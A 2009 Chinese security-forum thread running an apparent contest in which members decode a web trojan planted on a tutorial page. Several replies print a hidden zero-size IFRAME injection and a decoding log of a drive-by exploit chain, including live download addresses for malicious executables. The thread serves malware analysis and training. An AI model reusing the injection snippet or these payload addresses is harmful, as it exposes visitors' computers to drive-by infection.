[解密悬赏][第25期][20]

qianwenxiang

宗旨：
让更多人了解如何解密网马
规则：
1、Hunter不能参加活动
2、必须把所有木马地址全部解出，不完全解密且所发URL之前没有人解出者得到相应步骤加分
3、最好有解密软件日志，如果没有，请发出具体解密过程
4、如果有违反1~2条规则的情况，本帖随即锁定，之后成功解密的作废！
5、锁定后，会重新修改本次的解密地址，并且开帖！
6、为了体现悬赏帖宗旨，昨日解密成功者再次解出今天网址的只能得到对应网址70%经验



解密地址（替换HXXP为HTTP）：


hxxp://www.webjx.com/frontpage/fp-7211.html （完成 by knifed @ 7L ; wsboy @ 8L;  cchao21 @ 11L）

一次解完（包含解密步骤）=20分
分步（即未解完情况）：5+4+3+3+3


     
注意：这些地址含有恶意软件，可能会危害到您的计算机。请不要直接打开，否则因此造成的一切后果我们概不负责！
参考解密工具：
FreShow（英文）、 Redoce 1.8（中文）、malzilla （英文，但是乃神器也）
http://glacierlk.cn/openlab/jm.htm
参考解密教程：
http://bbs.kafan.cn/viewthread.php?tid=387608
http://bbs.kafan.cn/viewthread.php?tid=220550
http://bbs.kafan.cn/thread-408295-1-1.html


(时限=1天)

wsboy

以上地址hxxp://z.kghh3.cn/d3/解出
iframe width=20 height=0 src=1.htm
iframe width=20 height=0 src=0.htm
iframe width=100 height=0 src=newlz.htm
iframe width=100 height=0 src=s.htm
iframe width=100 height=0 src=office.htm
iframe width=100 height=0 src=bf.htm
iframe width=100 height=0 src=cx.htm
iframe width=100 height=0 src=uu.htm
iframe width=0 height=0 src=2.htm
iframe width=100 height=1 src=4.htm
iframe src=5.htm width=100 height=0
IFRAME width="100" height="1" src="b.htm"
解出文件

http://ko.807090.cn/d3.exe
http://ko.807090.cn/d7.exe

[ 本帖最后由 wsboy 于 2009-2-19 18:52 编辑 ]

promised

我所得地址并非从网页源码中找出
如若方便的话请给完整的报告
从hxxp://www.webjx.com/frontpage/fp-7211.html起

e54hacker

貌似代码被清除了!

taoyuan237

所有连接奉上
http://www.webjx.com/images/main.css
http://www.webjx.com/images/css.css
http://www.webjx.com/images/external.js
http://www.webjx.com/images/js.js
http://www.webjx.com/index1.html
http://www.webjx.com/photoshop/
http://www.webjx.com/yingxiao/
http://www.webjx.com/flash/
http://www.webjx.com/new/
http://www.webjx.com/
http://www.webjx.com/
http://www.webjx.com/
http://www.webjx.com/
http://wwwer.cn/
www.webjx.com/ad/top_1.gif
http://www.cnkuai.cn/host.htm
http://www.cnkuai.cn/domain.htm
http://www.admorgan.cn/
http://www.ciya.cn/
http://www.netkey.com.cn/
http://www.webjx.com/
http://www.webjx.com/news/
http://www.webjx.com/security/
http://www.webjx.com/os/
http://www.webjx.com/tools/
http://www.webjx.com/webmanage/
http://www.webjx.com/web/
http://www.webjx.com/artdesign/
http://www.webjx.com/media/
http://www.webjx.com/jscode/
http://www.webjx.com/program/
http://www.webjx.com/server/
http://www.webjx.com/exam/
http://www.webjx.com/videoedu/
www.webjx.com/special/
http://www.webjx.com/plus/search.php?keyword=photoshop
http://www.webjx.com/plus/search.php?keyword=photoshop
http://www.webjx.com/plus/search.php?keyword=FLASH%BD%CC%D1%A7
http://www.webjx.com/plus/search.php?keyword=Photoshop+CS
http://www.webjx.com/plus/search.php?keyword=flash
http://www.webjx.com/plus/search.php?keyword=windows
http://www.webjx.com/plus/search.php?keyword=vista
http://www.webjx.com/plus/search.php?keyword=asp
http://www.webjx.com/plus/search.php?keyword=sql
http://www.webjx.com/plus/search.php?keyword=%B7%FE%CE%F1%C6%F7
http://www.91nic.com/redir/webjx.asp
www.webjx.com/ad/top1_1.gif
http://www.163ns.com/stat/stat.asp?siteKey=webjx&pageNO=1&urlCode=d66101ce2e3e5a57b1a12f368ff8bc8d
www.webjx.com/ad/top1_2.gif
http://www.zzy.cn/count.php?id=40
www.webjx.com/ad/top1_3.gif
http://www.imakecollege.com/
www.webjx.com/ad/top1_4.gif
http://www.webjx.com/
http://www.webjx.com/web/index.html
http://www.webjx.com/frontpage/index.html
www.webjx.com/files/allimg/080829/1853250.gif
www.webjx.com/files/allimg/080829/1853251.jpg
www.webjx.com/files/allimg/080829/1853252.gif
www.webjx.com/files/allimg/080829/1853253.gif
JavaScript: copyUserHomeToClipBoard()
http://www.webjx.com/plus/feedback.php?arcID=7211
javascript:window.external.AddFavorite(document.location.href,Frontpage教程：制作网页中的书签)
javascript:window.close()
http://www.webjx.com/frontpage/fp-7210.html
http://www.webjx.com/web/xindejiqiao-7212.html
http://www.webjx.com/frontpage/fp-7210.html
http://www.webjx.com/frontpage/fp-7209.html
http://www.webjx.com/frontpage/fp-7208.html
http://www.webjx.com/frontpage/fp-7185.html
http://www.webjx.com/frontpage/fp-7863.html
http://www.webjx.com/frontpage/fp-4681.html
http://www.webjx.com/frontpage/fp-4542.html
http://www.webjx.com/frontpage/fp-363.html
http://www.webjx.com/frontpage/fp-362.html
http://www.webjx.com/frontpage/fp-361.html
http://www.webjx.com/frontpage/fp-360.html
http://www.webjx.com/frontpage/fp-359.html
http://www.webjx.com/frontpage/fp-358.html
http://www.webjx.com/plus/feedback.php?arcID=7211
www.webjx.com/member/index_do.php?fmdo=user&dopost=regnew
http://www.webjx.com/include/vdimgck.php
http://www.webjx.com/plus/feedback_js.php?arcID=7211
http://about.imakecollege.com
www.webjx.com/upfiles/20070128/300-125.gif
http://www.tuluo.com/images/promotion/webjx/
http://www.webjx.com/frontpage/fp-4681.html
http://www.webjx.com/frontpage/fp-4542.html
http://www.webjx.com/frontpage/fp-359.html
http://www.webjx.com/frontpage/fp-7210.html
http://www.webjx.com/frontpage/fp-362.html
http://www.webjx.com/frontpage/fp-363.html
http://www.webjx.com/frontpage/fp-361.html
http://www.webjx.com/frontpage/fp-358.html
http://www.webjx.com/frontpage/fp-360.html
http://www.webjx.com/frontpage/fp-7208.html
http://www.webjx.com/frontpage/fp-7209.html
http://www.webjx.com/frontpage/fp-7863.html
http://www.webjx.com/special/20090217/9745.html
http://www.webjx.com/special/20090217/9728.html
http://www.webjx.com/special/20090216/9683.html
http://www.webjx.com/special/20090215/9627.html
http://www.webjx.com/special/20090215/9625.html
http://www.webjx.com/special/20090213/9509.html
http://www.webjx.com/special/20090210/9426.html
http://www.webjx.com/special/20090117/8974.html
http://www.webjx.com/special/20090105/8748.html
http://www.webjx.com/special/20081224/8598.html
http://www.webjx.com/special/20080617/6273.html
http://www.webjx.com/special/20080615/6261.html
http://www.webjx.com/special/20080607/6064.html
http://www.webjx.com/special/20080601/5834.html
http://www.webjx.com/special/20071223/2474.html
http://www.webjx.com/special/20071223/2461.html
http://www.webjx.com/frontpage/fp-361.html
http://www.webjx.com/frontpage/fp-360.html
http://www.webjx.com/frontpage/fp-7863.html
http://www.webjx.com/frontpage/fp-7210.html
http://www.webjx.com/frontpage/fp-7209.html
http://www.webjx.com/frontpage/fp-7208.html
http://www.webjx.com/frontpage/fp-7185.html
http://www.webjx.com/frontpage/fp-4681.html
http://www.webjx.com/frontpage/fp-4542.html
http://www.webjx.com/frontpage/fp-363.html
http://www.webjx.com/frontpage/fp-362.html
http://www.webjx.com/frontpage/fp-361.html
http://www.webjx.com/frontpage/fp-360.html
http://www.webjx.com/frontpage/fp-359.html
http://www.webjx.com/plus/count.php?aid=7211&mid=0
www.webjx.com/siteinfo/aboutus.html
www.webjx.com/siteinfo/advertisement.html
www.webjx.com/siteinfo/contact.html
www.webjx.com/siteinfo/copyright.html
www.webjx.com/siteinfo/promise.html
www.webjx.com/siteinfo/link.html
www.webjx.com/siteinfo/sitemap.html
www.webjx.com/submit/feedback.php
www.webjx.com/frontpage/#top
http://www.webjx.com/
http://www.miibeian.gov.cn
http://js.users.51.la/1591177.js
http://www.51.la/?1591177

knifed

代码没去掉.只是用工具看了半天.有几个老是打不开.......清空了临时文件夹也不行.只有这样了.
<IFRAME src="http://mydocs.3322.org/pagead/push.htm" width=0 height=0></IFRAME>
这个就是.

wsboy

内容如下
关于:hxxp://mydocs.3322.org/pagead/push.htm解密的日志(全体输出-  20):

Level 0>http://mydocs.3322.org/pagead/push.htm
Level 1>http://q.fgjg4.cn/gg/ceshi.htm
Level 2>http://z.kghh3.cn/d7/fxx.htm
Level 3>http://z.kghh3.cn/d7/ff.swf  ●
Level 3>http://z.kghh3.cn/d7/ie.swf  ●
Level 3>http://z.kghh3.cn/d7/all.htm
Level 4>http://z.kghh3.cn/d7/b.htm
Level 4>http://z.kghh3.cn/d7/5.htm
Level 4>http://z.kghh3.cn/d7/4.htm
Level 4>http://z.kghh3.cn/d7/3.htm
Level 4>http://z.kghh3.cn/d7/2.htm
Level 4>http://z.kghh3.cn/d7/uu.htm
             http://w.807090.cn/uu.txt
                          发现    http://tj.qqxtup.cn/UUSee.CAB
Level 4>http://z.kghh3.cn/d7/cx.htm
Level 4>http://z.kghh3.cn/d7/bf.htm
Level 4>http://z.kghh3.cn/d7/office.htm
Level 4>http://z.kghh3.cn/d7/s.htm
Level 4>http://z.kghh3.cn/d7/newlz.htm
Level 4>http://z.kghh3.cn/d7/0.htm
Level 4>http://z.kghh3.cn/d7/1.htm
Level 1>http://s89.cnzz.com/stat.php?id=1249457&web_id=1249457

日志由 Redoce1.7第71次修正版于 2009-2-19 16:06:08 生成。
文件：hxxp://ko.807090.cn/d7.exe

[ 本帖最后由 wsboy 于 2009-2-19 19:46 编辑 ]

qianwenxiang

这页面的上面还有两层

knifed

试了半天打不开.document.write("<!---->")只看到这个.这个应该就是吧.呵呵